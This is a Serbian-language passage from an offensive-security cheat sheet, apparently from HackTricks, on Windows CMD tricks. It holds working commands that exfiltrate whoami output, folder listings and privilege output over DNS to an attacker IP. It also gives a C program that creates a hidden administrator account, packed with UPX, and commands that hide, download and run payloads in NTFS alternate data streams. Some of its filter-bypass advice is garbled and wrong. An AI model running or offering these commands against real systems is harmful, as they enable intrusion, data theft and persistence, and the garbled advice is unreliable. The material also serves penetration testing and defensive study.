Kada se susretnete sa zabranom korišćenja određenih karaktera prilikom izvršavanja komandi, možete primeniti sledeće tehnike za zaobilaženje ove zabrane:
- Koristite alternativne karaktere: Umesto zabranjenih karaktera, možete koristiti slične karaktere koji nisu zabranjeni. Na primer, umesto slova "o" možete koristiti broj "0" ili umesto slova "s" možete koristiti simbol "$".
- Koristite heksadecimalnu reprezentaciju: Umesto zabranjenih karaktera, možete koristiti njihovu heksadecimalnu reprezentaciju. Na primer, umesto slova "a" možete koristiti "\x61".
- Koristite Unicode reprezentaciju: Umesto zabranjenih karaktera, možete koristiti njihovu Unicode reprezentaciju. Na primer, umesto slova "b" možete koristiti "\u0062".
- Koristite escape sekvence: Umesto zabranjenih karaktera, možete koristiti escape sekvence. Na primer, umesto znaka za novi red "\n" možete koristiti "\r\n".
- Koristite konkatenaciju: Umesto zabranjenih karaktera, možete koristiti konkatenaciju više dozvoljenih karaktera kako biste dobili željeni rezultat. Na primer, umesto karaktera "e" možete koristiti "ex" ili "ee".
Korišćenjem ovih tehnika, možete zaobići zabranu korišćenja određenih karaktera i uspešno izvršiti komande.
echo %HOMEPATH:~6,-11% #\
who^ami #whoami
DOSfuscation
Generiše obfuskiranu CMD liniju
git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
cd Invoke-DOSfuscation
Import-Module .\Invoke-DOSfuscation.psd1
Invoke-DOSfuscation
help
SET COMMAND type C:\Users\Administrator\Desktop\flag.txt
encoding
ACL-ovi adresa za slušanje
Možete slušati na http://+:80/Temporary_Listen_Addresses/ bez potrebe za administratorskim pravima.
netsh http show urlacl
Ručni DNS shell
Napadač (Kali) mora koristiti jednu od ove 2 opcije:
sudo responder -I <iface> #Active
sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passive
Žrtva
Tehnika for /f tokens
: Ovo nam omogućava da izvršimo komande, dobijemo prvih X reči svake linije i pošaljemo ih preko DNS-a na naš server.
for /f %a in ('whoami') do nslookup %a <IP_kali> #Get whoami
for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <IP_kali> #Get word2
for /f "tokens=1,2,3" %a in ('dir /B C:\') do nslookup %a.%b.%c <IP_kali> #List folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Program Files (x86)"') do nslookup %a.%b.%c <IP_kali> #List that folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c <IP_kali> #Same as last one
#More complex commands
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('whoami /priv ^| findstr /i "enable"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali> #Same as last one
Takođe možete preusmeriti izlaz, a zatim ga pročitati.
whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali>
Pozivanje CMD-a iz C koda
Da biste pozvali CMD (Command Prompt) iz C koda, možete koristiti funkciju system()
. Ova funkcija omogućava izvršavanje CMD komandi iz C programa.
Evo jednostavnog primera kako koristiti system()
funkciju:
#include <stdlib.h>
int main() {
system("cmd /c <komanda>");
return 0;
}
U ovom primeru, <komanda>
treba zameniti sa željenom CMD komandom koju želite da izvršite. Na primer, ako želite da izvršite komandu ipconfig
, vaš kod bi izgledao ovako:
#include <stdlib.h>
int main() {
system("cmd /c ipconfig");
return 0;
}
Kada pokrenete ovaj program, CMD će biti pozvan i izvršiće se komanda ipconfig
. Možete koristiti bilo koju drugu CMD komandu na isti način.
Važno je napomenuti da korišćenje system()
funkcije može predstavljati sigurnosni rizik, posebno ako se korisnički unos direktno prosleđuje kao argument komande. Uvek budite oprezni prilikom rukovanja korisničkim unosima kako biste izbegli potencijalne ranjivosti.
#include <stdlib.h> /* system, NULL, EXIT_FAILURE */
// When executed by Administrator this program will create a user and then add him to the administrators group
// i686-w64-mingw32-gcc addmin.c -o addmin.exe
// upx -9 addmin.exe
int main (){
int i;
i=system("net users otherAcc 0TherAcc! /add");
i=system("net localgroup administrators otherAcc /add");
return 0;
}
Шпараланка за алтернативне податковне токове (ADS/Alternate Data Stream)
Примери преузети са https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f. Има и много других!
## Selected Examples of ADS Operations ##
### Adding Content to ADS ###
# Append executable to a log file as an ADS
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
# Download a script directly into an ADS
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt
### Discovering ADS Content ###
# List files and their ADS
dir /R
# Use Sysinternals tool to list ADS of a file
streams.exe <c:\path\to\file>
### Extracting Content from ADS ###
# Extract an executable stored in an ADS
expand c:\ads\file.txt:test.exe c:\temp\evil.exe
### Executing ADS Content ###
# Execute an executable stored in an ADS using WMIC
wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"'
# Execute a script stored in an ADS using PowerShell
powershell -ep bypass - < c:\temp:ttt
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
- Da li radite u cybersecurity kompaniji? Želite li da vidite svoju kompaniju reklamiranu na HackTricks-u? Ili želite da imate pristup najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu? Proverite SUBSCRIPTION PLANS!
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Nabavite zvanični PEASS & HackTricks swag
- Pridružite se 💬 Discord grupi ili telegram grupi ili me pratite na Twitter-u 🐦@carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na hacktricks repo i hacktricks-cloud repo.